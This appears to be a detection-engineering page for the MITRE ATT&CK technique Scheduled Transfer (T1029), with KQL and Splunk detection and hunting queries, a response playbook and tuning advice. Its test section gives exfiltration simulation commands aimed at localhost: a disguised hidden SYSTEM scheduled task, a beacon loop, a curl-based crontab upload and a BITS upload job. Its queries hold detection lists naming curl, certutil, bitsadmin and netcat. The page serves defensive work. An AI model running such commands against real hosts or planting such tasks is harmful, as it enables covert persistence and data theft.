Scheduled Transfer
Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This is commonly observed in malware configured to beacon or exfiltrate at fixed intervals (e.g., every 10 minutes, every 8 hours) or only during business hours to blend with normal traffic. Scheduled transfer almost always combines with another exfiltration technique such as Exfiltration Over C2 Channel (T1041) or Exfiltration Over Alternative Protocol (T1048). Real-world examples include ComRAT sleeping outside 9-to-5 Monday–Friday, LightNeuron configuring nighttime-only exfiltration windows, ADVSTORESHELL compressing and exfiltrating every 10 minutes, and Cobalt Strike Beacon using randomized sleep intervals to resist frequency-based detection.
What is T1029 Scheduled Transfer?
Scheduled Transfer (T1029) maps to the Exfiltration tactic — the adversary is trying to steal data in MITRE ATT&CK.
This page provides production-ready detection logic for Scheduled Transfer, covering the data sources and telemetry it touches: Network Traffic: Network Connection Creation, Process: Process Creation, Scheduled Job: Scheduled Job Creation, Microsoft Defender for Endpoint. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Exfiltration
- Technique
- T1029 Scheduled Transfer
- Canonical reference
- https://attack.mitre.org/techniques/T1029/
// T1029 Scheduled Transfer — Beaconing pattern detection and scheduled-task-triggered exfiltration
// Part 1: Regular-interval connections from non-browser, non-system processes to public IPs
let ExcludedProcesses = dynamic([
"chrome.exe", "firefox.exe", "msedge.exe", "MicrosoftEdge.exe", "iexplore.exe",
"teams.exe", "outlook.exe", "slack.exe", "zoom.exe", "OneDrive.exe",
"svchost.exe", "MsMpEng.exe", "SecurityHealthService.exe", "SenseIR.exe",
"SearchIndexer.exe", "WerFault.exe", "wuauclt.exe", "msiexec.exe",
"spoolsv.exe", "lsass.exe", "services.exe", "smss.exe"
]);
let ExfiltrationTools = dynamic([
"curl.exe", "certutil.exe", "bitsadmin.exe", "ftp.exe", "tftp.exe",
"rclone.exe", "wget.exe", "nc.exe", "ncat.exe", "robocopy.exe"
]);
// Beaconing pattern: >= 5 connections to same external IP with regular interval
let BeaconingAlerts = DeviceNetworkEvents
| where Timestamp > ago(24h)
| where RemoteIPType == "Public"
| where InitiatingProcessFileName !in~ (ExcludedProcesses)
| summarize
ConnectionCount = count(),
EarliestConnection = min(Timestamp),
LatestConnection = max(Timestamp),
BytesSent = sum(SentBytes),
BytesReceived = sum(ReceivedBytes),
Ports = make_set(RemotePort, 10)
by DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessAccountName, RemoteIP
| where ConnectionCount >= 5
| extend TimeSpanMinutes = datetime_diff('minute', LatestConnection, EarliestConnection)
| where TimeSpanMinutes >= 20
| extend AvgIntervalMinutes = toreal(TimeSpanMinutes) / toreal(ConnectionCount - 1)
| where AvgIntervalMinutes between (1.0 .. 120.0)
| extend DetectionType = "Beaconing"
| extend IsHighConfidenceBeacon = (ConnectionCount >= 8 and AvgIntervalMinutes between (5.0 .. 30.0))
| project Timestamp = LatestConnection, DeviceName,
AccountName = InitiatingProcessAccountName,
ProcessName = InitiatingProcessFileName,
CommandLine = InitiatingProcessCommandLine,
RemoteIP, Ports, ConnectionCount,
AvgIntervalMinutes, BytesSent, BytesReceived,
DetectionType, IsHighConfidenceBeacon;
// Scheduled task spawning data transfer tools
let ScheduledTaskExfil = DeviceProcessEvents
| where Timestamp > ago(24h)
| where InitiatingProcessFileName in~ ("taskeng.exe", "taskhostw.exe", "schtasks.exe")
or (InitiatingProcessFileName =~ "svchost.exe"
and InitiatingProcessCommandLine has_any ("-k netsvcs", "Schedule"))
| where FileName in~ (ExfiltrationTools)
or (FileName in~ ("powershell.exe", "pwsh.exe")
and ProcessCommandLine has_any (
"Invoke-WebRequest", "WebClient", "UploadFile", "UploadData",
"FtpWebRequest", "curl", "wget", "SendAsync", "HttpClient"
))
or (FileName =~ "cmd.exe"
and ProcessCommandLine has_any ("curl", "ftp", "certutil", "bitsadmin"))
| extend DetectionType = "ScheduledTaskExfil"
| extend IsHighConfidenceBeacon = false
| project Timestamp, DeviceName, AccountName,
ProcessName = FileName, CommandLine = ProcessCommandLine,
RemoteIP = "", Ports = dynamic([]), ConnectionCount = 1,
AvgIntervalMinutes = toreal(0), BytesSent = long(0), BytesReceived = long(0),
DetectionType, IsHighConfidenceBeacon;
union BeaconingAlerts, ScheduledTaskExfil
| sort by Timestamp descDetects T1029 Scheduled Transfer via two complementary methods. First, identifies non-browser/non-system processes making 5 or more connections to the same external IP at regular intervals (1–120 minute average interval over a 20+ minute window) — this behavioral pattern is characteristic of C2 beacons and scheduled exfiltration loops. Second, detects scheduled task host processes (taskeng.exe, taskhostw.exe, svchost.exe with Schedule context) spawning known data transfer utilities (curl, certutil, bitsadmin, ftp, rclone) or PowerShell with upload/download methods. The IsHighConfidenceBeacon flag marks processes with 8+ connections at 5–30 minute intervals as higher-priority alerts.
Data Sources
Required Tables
False Positives
- Monitoring agents (Datadog, SolarWinds, New Relic, PRTG) that make periodic health checks or metric uploads to cloud endpoints at fixed intervals
- Backup software (Veeam, Acronis, Backup Exec) with scheduled upload tasks that invoke transfer utilities from svchost or task context
- Software update services (WSUS clients, antivirus definition updates, patching tools) that poll external servers at regular intervals
- Legitimate IT automation scripts (Ansible, Chef, Puppet) invoked by the Task Scheduler for periodic configuration synchronisation
- Cloud sync clients (Dropbox, Box, Google Drive daemon processes) making regular upload connections that are not yet excluded by the process allowlist
Sigma rule & cross-platform mapping
The detection logic for Scheduled Transfer (T1029) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: process_creation
product: windowsBrowse the community-maintained Sigma rules for this technique:
Platform-specific guides for T1029
References (9)
- https://attack.mitre.org/techniques/T1029/
- https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf
- https://securelist.com/shadowpad-in-corporate-networks/81432/
- https://cobaltstrike.com/help-beacon
- https://learn.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page
- https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin
- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1029/T1029.md
- https://www.mandiant.com/resources/blog/identifying-cobalt-strike-team-servers-in-the-wild
- https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Windows — Scheduled Task Periodic HTTP Transfer (PowerShell)
Expected signal: Sysmon Event ID 1: Process Create for schtasks.exe with CommandLine containing '/create /sc MINUTE /mo 5'. Windows Security Event ID 4698 (A scheduled task was created) in the Security event log. When the task fires: Sysmon Event ID 1 for taskhostw.exe spawning powershell.exe with '-WindowStyle Hidden'. Sysmon Event ID 3 for the network connection attempt to 127.0.0.1:8080.
- Test 2Windows — Simulated Beacon Loop with Fixed Sleep Interval
Expected signal: Sysmon Event ID 1: Process Create for powershell.exe with the loop command. Sysmon Event ID 3: Three network connection events to 127.0.0.1:9999 spaced approximately 120 seconds apart, all with the same InitiatingProcessId. The beaconing detection aggregates these into ConnectionCount=3 with AvgIntervalMinutes ≈ 2.0.
- Test 3Linux — Cron-Based Periodic Exfiltration Simulation
Expected signal: Auditd event (if configured with -w /var/spool/cron/crontabs -p wa): SYSCALL write to the crontab file. Cron daemon syslog entry (/var/log/syslog or /var/log/cron): 'CRON[<pid>]: (<user>) CMD (curl -s -X POST...)' every 5 minutes. Syslog or auditd execve events for curl spawned by cron daemon (PPID = crond). Network connection from curl to 127.0.0.1:8080.
- Test 4Windows — BITS Job Scheduled Data Exfiltration Simulation
Expected signal: Sysmon Event ID 1: Process Create for bitsadmin.exe with /create, /addfile, /resume subcommands. Sysmon Event ID 3: Network connection from svchost.exe (BITS service) to 127.0.0.1:8080 when the job attempts execution. Windows Application Event Log: Microsoft-Windows-Bits-Client/Operational — Event ID 3 (job created), 59 (job started), 61 (job error on failed connection). Security Event ID 4688 for bitsadmin.exe if command line auditing is enabled.
Response Playbook
Triage
- Identify the process making regular-interval connections: check InitiatingProcessFileName and CommandLine — does this process have a legitimate reason to contact external IPs on a schedule? Compare against known monitoring agents, backup tools, and update clients in your asset inventory.
- Calculate the exact beacon interval from the raw connection timestamps — does it match a suspiciously round number (every 5 min, 10 min, 60 min)? Legitimate services often have jitter; malware configured with a hard-coded sleep value will produce tighter clustering around a fixed interval.
- Examine the remote IP and port: run threat intelligence lookups (VirusTotal, Shodan, AbuseIPDB) on the destination IP. Check if the destination is categorized as a hosting provider, VPS provider, or dynamic DNS service — these are common C2 hosting environments.
- If a scheduled task triggered the alert: inspect the task definition with: schtasks /query /fo LIST /v /tn "<TaskName>" — check the trigger time, action, and the account it runs under. Was this task created recently? Check Task Scheduler event log (Microsoft-Windows-TaskScheduler/Operational) Event ID 106 (task registered) for creation timestamp.
- Review the data volume: check BytesSent across the observed connection series — exfiltration transfers typically show a pattern of moderate outbound data (staged file contents, keylogger buffers, clipboard data) that is inconsistent with a simple health-check call.
- Check for time-of-day clustering: does the activity only appear at night, outside business hours, or at a very specific daily window? This is a strong indicator of malware like ComRAT or LightNeuron configured to avoid detection by matching perceived network activity windows.
Containment
- If C2 beaconing is confirmed: immediately isolate the endpoint using EDR network isolation (Defender: Isolate device; CrowdStrike: contain host) to cut off the active C2 channel without losing the endpoint for forensic investigation.
- Block the destination IP at the perimeter firewall and proxy. If DNS was used: block the FQDN at DNS sinkholes. Check for domain generation algorithm (DGA) patterns requiring broader category blocks.
- Disable and remove the malicious scheduled task: schtasks /delete /tn "<TaskName>" /f — but first export the XML definition for forensics: schtasks /query /xml /tn "<TaskName>" > C:\IR\task_evidence.xml
- If the exfiltration process was a persistent service: stop and disable it with: sc stop <ServiceName> && sc config <ServiceName> start= disabled — capture the binary before removal.
- Revoke credentials for the account under which the transfer was running. If a domain account: reset the password and revoke all active Kerberos tickets with: klist purge (on endpoint) and invalidate via AD.
- Check for lateral movement from the compromised host: review Sysmon Event ID 3 outbound connections and Windows Security Event ID 4624 logon events from this host to other internal systems within the same time window as the detected transfers.
Evidence Collection
- Task Scheduler XML definitions: export all tasks from C:\Windows\System32\Tasks\ and C:\Windows\SysWOW64\Tasks\ — the XML files contain full trigger schedules, action commands, and account context.
- Task Scheduler operational log: Microsoft-Windows-TaskScheduler/Operational — Event ID 106 (task registered), 200 (task started), 201 (task completed), 202 (task failed). Pull with: wevtutil qe Microsoft-Windows-TaskScheduler/Operational /f:text > C:\IR\task_scheduler.txt
- Sysmon Event ID 3 (Network Connection) logs: collect all external connections from the suspect process for the preceding 7 days to map the full transfer timeline and all destination IPs/ports.
- Sysmon Event ID 1 (Process Create) and Security Event ID 4688: capture the full process chain from task host to exfiltration tool. Preserve parent-child relationships.
- Network capture (pcap) if available from NDR/IDS: full packet capture of connections to the C2 IP. Even without decryption, TLS certificate metadata and traffic timing can confirm the beacon pattern.
- Prefetch files for the exfiltration executable: C:\Windows\Prefetch\<EXFILBINARY>.EXE-*.pf — provides first and last execution times and loaded DLLs.
- Cron artifacts on Linux/macOS: /etc/crontab, /var/spool/cron/crontabs/<user>, /etc/cron.d/, /etc/cron.hourly/, /etc/cron.daily/ — preserve originals before remediation. Also check launchd plist files on macOS: ~/Library/LaunchAgents/, /Library/LaunchAgents/, /Library/LaunchDaemons/.
- Memory acquisition: if the malware is fileless or runs in-memory, capture a full memory image with WinPmem or FTK Imager before isolation to preserve the in-memory artifacts including configured intervals and C2 addresses.
Escalation Criteria
- ! Confirmed regular-interval connections to a known-malicious or threat-intelligence-flagged IP address — escalate to Incident Response immediately.
- ! BytesSent volume across observed transfers is measurably large (hundreds of KB to MB per interval) suggesting staged file contents or database dumps are being transferred, not just beacons.
- ! Malicious scheduled task created under a privileged account (SYSTEM, domain admin, service account with broad permissions) indicating adversary has established persistent, privileged access.
- ! Evidence the exfiltration window is time-gated (active only during off-hours, weekends, or a specific business-hours window) — this demonstrates deliberate operational security by the adversary.
- ! Multiple endpoints exhibiting identical beacon intervals or connecting to the same C2 IP — indicates a campaign-level compromise rather than a single infected host.
- ! C2 communications observed traversing encrypted channels (TLS to non-categorized IPs on port 443) with data volume inconsistent with plain C2 beaconing — may indicate encrypted data staging or exfiltration in progress.
Investigation Guide
Forensic Artifacts
- >
Windows Task Scheduler XML files: C:\Windows\System32\Tasks\ — each file is a full XML definition with trigger schedule, action command, run-as account, and creation/modification timestamps. - >
Task Scheduler operational event log: Microsoft-Windows-TaskScheduler/Operational — Event IDs 106 (registered), 107 (enabled), 200 (started), 201 (completed), 325 (queued). Preserved in: %SystemRoot%\System32\winevt\Logs\Microsoft-Windows-TaskScheduler%4Operational.evtx - >
Registry: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\ and \Tree\ — task metadata including hash, last run time, and next run time persists here even if the XML file is deleted. - >
Prefetch files for transfer tools: C:\Windows\Prefetch\CURL.EXE-*.pf, CERTUTIL.EXE-*.pf, BITSADMIN.EXE-*.pf — timestamps and loaded DLL lists. - >
BITS job database: %ALLUSERSPROFILE%\Microsoft\Network\Downloader\qmgr*.dat — Background Intelligent Transfer Service job records including source URLs, destination paths, and completion status. - >
Windows Security Event ID 4698 (scheduled task created), 4699 (deleted), 4700 (enabled), 4701 (disabled) — provides SOC-visible audit trail if task audit policy is enabled. - >
Linux: /var/spool/cron/crontabs/<username>, /etc/cron.d/<filename>, /var/log/cron (cron daemon execution log), /var/log/syslog entries from cron daemon, auditd records for crontab write syscalls. - >
macOS: ~/Library/LaunchAgents/*.plist, /Library/LaunchAgents/*.plist, /Library/LaunchDaemons/*.plist — plist files contain StartInterval (fixed-interval trigger in seconds) or StartCalendarInterval (time-of-day schedule). - >
Network flow records (NetFlow/IPFIX): session records showing connection frequency, duration, bytes transferred — essential for confirming the interval pattern when endpoint logs are incomplete.
Tuning Guidance
The beaconing detection generates false positives in most environments due to legitimate monitoring agents, backup tools, and update services. Start by building an allowlist of known-good processes with their typical intervals: Datadog agent (~15s), SolarWinds (~60s), CrowdStrike sensor (~60s), Windows Defender updates (variable). Add these to the ExcludedProcesses list in the KQL query. For Splunk, maintain a lookup table (legitimate_beacons.csv) with fields: process_name, typical_interval_min, typical_interval_max, destination_cidr — filter matches from the main detection. The AvgIntervalMinutes computation is an approximation; add jitter tolerance by also checking standard deviation of intervals: legitimate services tend to have very low jitter while malware with randomized sleep may have moderate jitter but still cluster within a range. For the scheduled task branch, false positives from your own automation are expected — enumerate all tasks on critical endpoints with schtasks /query /fo CSV /v and identify legitimate network-touching tasks to allowlist by task name or command line hash. On Linux, deploy auditd rules to watch for crontab writes (auditctl -w /var/spool/cron/crontabs -p wa -k cron_write) so task creation is auditable independently of execution. Tune severity thresholds by environment: in a SCADA or OT network, any regular-interval external connection from a non-expected process should be high severity; in a developer environment with many scheduled CI/CD jobs, start with medium and escalate on confirmed external C2 indicators.
Hunting Queries
Hunt for processes making external connections that are strongly clustered in off-hours (nights/weekends) or confined to an unusually narrow time window. This catches malware like ComRAT (sleeps 9-to-5) and LightNeuron (configurable business/nighttime windows) that deliberately schedules transfers to blend with or avoid normal traffic patterns.
// Hunt: Time-of-day clustering — exfiltration occurring only in specific hours (business hours avoidance or nighttime-only pattern)
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIPType == "Public"
| where InitiatingProcessFileName !in~ (
"chrome.exe", "firefox.exe", "msedge.exe", "teams.exe", "outlook.exe",
"svchost.exe", "MsMpEng.exe", "SearchIndexer.exe", "WerFault.exe"
)
| extend HourOfDay = hourofday(Timestamp)
| extend DayOfWeek = dayofweek(Timestamp) / 1d
| summarize
TotalConnections = count(),
ActiveHours = dcount(HourOfDay),
ActiveDays = dcount(DayOfWeek),
HourDistribution = make_set(HourOfDay),
BytesSent = sum(SentBytes)
by DeviceName, InitiatingProcessFileName, RemoteIP
| where TotalConnections >= 4
| extend HoursOutsideBusinessHours = array_length(set_difference(
HourDistribution,
dynamic([8,9,10,11,12,13,14,15,16,17])
))
| extend PctOffHours = toreal(HoursOutsideBusinessHours) / toreal(ActiveHours) * 100
| where PctOffHours > 80 or (ActiveHours <= 3 and TotalConnections >= 5)
| sort by TotalConnections descindex=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
NOT (Image="*\\chrome.exe" OR Image="*\\firefox.exe" OR Image="*\\msedge.exe"
OR Image="*\\teams.exe" OR Image="*\\outlook.exe" OR Image="*\\svchost.exe"
OR Image="*\\MsMpEng.exe" OR Image="*\\SearchIndexer.exe")
NOT (DestinationIp="10.*" OR DestinationIp="192.168.*" OR DestinationIp="172.16.*" OR DestinationIp="127.*")
| eval HourOfDay=strftime(_time, "%H")
| stats count as TotalConnections, dc(HourOfDay) as ActiveHours,
values(HourOfDay) as HourList
by host, Image, DestinationIp
| where TotalConnections >= 4
| eval BusinessHours=mvfilter(match(HourList, "^(08|09|10|11|12|13|14|15|16|17)$"))
| eval OffHoursCount=TotalConnections - mvcount(BusinessHours)
| eval PctOffHours=round(OffHoursCount / TotalConnections * 100, 1)
| where PctOffHours > 80 OR (ActiveHours <= 3 AND TotalConnections >= 5)
| sort - TotalConnectionsHunt for schtasks.exe being used to create new scheduled tasks that directly invoke data transfer utilities or scripting engines capable of network activity. This catches adversaries implementing T1029 by explicitly scheduling the exfiltration mechanism rather than relying on an already-running malware beacon loop.
// Hunt: Recently created scheduled tasks that invoke data transfer tools or network-capable scripts
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "schtasks.exe"
| where ProcessCommandLine has_any ("/create", "/SC", "/TR")
| where ProcessCommandLine has_any (
"curl", "certutil", "bitsadmin", "ftp", "tftp", "rclone", "powershell",
"pwsh", "wscript", "cscript", "mshta", "wget", "nc ", "ncat"
)
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp descindex=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
Image="*\\schtasks.exe"
(CommandLine="*/create*" OR CommandLine="*/SC*")
(CommandLine="*curl*" OR CommandLine="*certutil*" OR CommandLine="*bitsadmin*"
OR CommandLine="*powershell*" OR CommandLine="*pwsh*" OR CommandLine="*ftp*"
OR CommandLine="*rclone*" OR CommandLine="*wscript*" OR CommandLine="*cscript*"
OR CommandLine="*mshta*" OR CommandLine="*wget*" OR CommandLine="*ncat*")
| table _time, host, User, CommandLine, ParentImage, ParentCommandLine
| sort - _timeHunt for processes sending meaningful data volumes to consistent external destinations across multiple days. This approach focuses on the cumulative exfiltration footprint rather than the interval pattern, catching adversaries who stage large datasets incrementally (e.g., ADVSTORESHELL compressing every 10 minutes, Machete sending every 10 minutes). The multi-day ActiveDays criterion specifically targets the scheduled/recurring nature of T1029.
// Hunt: High-volume data sent by non-browser processes to consistent external destinations over multiple days
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIPType == "Public"
| where InitiatingProcessFileName !in~ (
"chrome.exe", "firefox.exe", "msedge.exe", "MicrosoftEdge.exe",
"teams.exe", "outlook.exe", "OneDrive.exe", "slack.exe", "zoom.exe",
"svchost.exe", "MsMpEng.exe", "WerFault.exe", "SearchIndexer.exe"
)
| summarize
TotalBytesSent = sum(SentBytes),
TotalBytesRecv = sum(ReceivedBytes),
SessionCount = count(),
ActiveDays = dcount(bin(Timestamp, 1d)),
RemotePorts = make_set(RemotePort, 5)
by DeviceName, InitiatingProcessFileName, RemoteIP
| where TotalBytesSent > 1048576 // > 1 MB total sent
| where ActiveDays >= 2 // activity across multiple days indicates scheduled pattern
| where SessionCount >= 4
| extend MBSent = round(toreal(TotalBytesSent) / 1048576.0, 2)
| sort by TotalBytesSent descindex=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
NOT (Image="*\\chrome.exe" OR Image="*\\firefox.exe" OR Image="*\\msedge.exe"
OR Image="*\\teams.exe" OR Image="*\\outlook.exe" OR Image="*\\OneDrive.exe"
OR Image="*\\svchost.exe" OR Image="*\\MsMpEng.exe")
NOT (DestinationIp="10.*" OR DestinationIp="192.168.*" OR DestinationIp="172.16.*" OR DestinationIp="127.*")
| eval DayBucket=strftime(_time, "%Y-%m-%d")
| stats sum(DestinationPort) as PortSum, count as SessionCount,
dc(DayBucket) as ActiveDays, values(DestinationPort) as RemotePorts
by host, Image, DestinationIp
| where SessionCount >= 4 AND ActiveDays >= 2
| sort - SessionCountAtomic Red Team Tests
Creates a Windows scheduled task that runs every 5 minutes, executing a PowerShell command that attempts an HTTP connection to an external host. This simulates the T1029 pattern where malware persists as a scheduled task with a fixed-interval trigger to ensure regular C2 check-ins or data staging uploads. The destination is localhost to keep the test safe.
Command
schtasks /create /sc MINUTE /mo 5 /tn "WindowsTelemetryHelper" /tr "powershell.exe -WindowStyle Hidden -Command (New-Object Net.WebClient).DownloadString('http://127.0.0.1:8080/beacon')" /ru SYSTEM /fCleanup
schtasks /delete /tn "WindowsTelemetryHelper" /fExpected Telemetry
Sysmon Event ID 1: Process Create for schtasks.exe with CommandLine containing '/create /sc MINUTE /mo 5'. Windows Security Event ID 4698 (A scheduled task was created) in the Security event log. When the task fires: Sysmon Event ID 1 for taskhostw.exe spawning powershell.exe with '-WindowStyle Hidden'. Sysmon Event ID 3 for the network connection attempt to 127.0.0.1:8080.
Expected Detection
ScheduledTaskExfil branch fires on taskhostw.exe spawning powershell.exe with WebClient. Hunting query 2 (schtasks /create with powershell) fires on the task creation event. The task creation also generates Windows Security Event ID 4698 which should be alerted independently.
Runs a PowerShell loop that makes HTTP connections at a fixed 2-minute interval, simulating the jRAT/Cobalt Strike pattern of configurable beacon intervals. After 3 iterations the loop exits. This will trigger the beaconing detection because the same process (powershell.exe) makes multiple connections to the same destination at regular intervals.
Command
powershell.exe -Command "for ($i=0; $i -lt 3; $i++) { try { (New-Object Net.WebClient).DownloadString('http://127.0.0.1:9999/c2') } catch {} ; Start-Sleep -Seconds 120 }"Expected Telemetry
Sysmon Event ID 1: Process Create for powershell.exe with the loop command. Sysmon Event ID 3: Three network connection events to 127.0.0.1:9999 spaced approximately 120 seconds apart, all with the same InitiatingProcessId. The beaconing detection aggregates these into ConnectionCount=3 with AvgIntervalMinutes ≈ 2.0.
Expected Detection
With only 3 connections the main threshold (>= 5) is not met — increase iterations to 6 in a lab to trigger the full alert. The hunting query 3 (multi-day data volume) will catch across-day iterations. Sysmon Event ID 3 records are individually captured for hunting. Set $i -lt 6 for a full alert trigger.
Adds a crontab entry that runs every 5 minutes, using curl to send a benign HTTP request to localhost (simulating a scheduled data upload). This tests detection of T1029 implemented via cron on Linux systems. The request includes a simulated data payload via POST.
Command
(crontab -l 2>/dev/null; echo '*/5 * * * * curl -s -X POST -d "hostname=$(hostname)&data=$(date)" http://127.0.0.1:8080/exfil >> /tmp/transfer.log 2>&1') | crontab -Cleanup
crontab -l | grep -v 'exfil' | crontab - ; rm -f /tmp/transfer.logExpected Telemetry
Auditd event (if configured with -w /var/spool/cron/crontabs -p wa): SYSCALL write to the crontab file. Cron daemon syslog entry (/var/log/syslog or /var/log/cron): 'CRON[<pid>]: (<user>) CMD (curl -s -X POST...)' every 5 minutes. Syslog or auditd execve events for curl spawned by cron daemon (PPID = crond). Network connection from curl to 127.0.0.1:8080.
Expected Detection
Auditd-based SIEM alerts on crontab write syscall. Syslog analysis detects curl spawned by cron at regular intervals. Linux endpoint agents (auditbeat, osquery) detect the new crontab entry on next scheduled collection. The regular-interval curl executions match the scheduled task exfil pattern in SPL if syslog sourcetype is configured.
Uses BITSAdmin to create a Background Intelligent Transfer Service upload job targeting localhost. BITS is often used by malware for scheduled transfers because it is a Windows-native service, runs as svchost.exe, and can be configured to transfer only during specific hours or when network is idle — directly implementing T1029 semantics.
Command
bitsadmin /create /upload df00tech-test && bitsadmin /addfile df00tech-test http://127.0.0.1:8080/upload C:\Windows\Temp\test-payload.txt && echo TestPayload > C:\Windows\Temp\test-payload.txt && bitsadmin /SetMinRetryDelay df00tech-test 300 && bitsadmin /resume df00tech-testCleanup
bitsadmin /cancel df00tech-test ; del C:\Windows\Temp\test-payload.txt 2>nulExpected Telemetry
Sysmon Event ID 1: Process Create for bitsadmin.exe with /create, /addfile, /resume subcommands. Sysmon Event ID 3: Network connection from svchost.exe (BITS service) to 127.0.0.1:8080 when the job attempts execution. Windows Application Event Log: Microsoft-Windows-Bits-Client/Operational — Event ID 3 (job created), 59 (job started), 61 (job error on failed connection). Security Event ID 4688 for bitsadmin.exe if command line auditing is enabled.
Expected Detection
ScheduledTaskExfil branch may not fire (BITS runs via svchost, not taskeng), but hunting query 3 detects svchost making external connections with data volume. The bitsadmin.exe process creation events match hunting query 2 pattern. BITS-specific detection rules in SIEM should alert on bitsadmin /upload targeting external hosts.
Related Detections
Tactic Hub
Detection Variants (4)
Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.
- THREAT-ArchiveStaging-ScheduledExfilScheduled Batch Exfiltration of Compressed Archive StagingUse for archive staging — rar/7z multi-volume splitting ahead of a timed transfer, typical of ransomware double-extortion.
- THREAT-CloudCLI-ScheduledExfilScheduled Transfer via Cloud Sync/Backup CLI ToolsUse for cloud CLI LOLBins — rclone, restic or azcopy launched by a scheduler rather than a human.
- THREAT-Exfil-ScheduledBulkTransferScheduled Off-Hours Bulk Data TransferUse for network-side detection — off-hours bulk-volume NetFlow, when you have no endpoint scheduler visibility.
- THREAT-Exfiltration-LinuxCronScheduledExfilScheduled Data Exfiltration via Linux Cron JobsUse for Linux hosts — cron/systemd-timer job creation correlated with auditd execution and outbound transfer.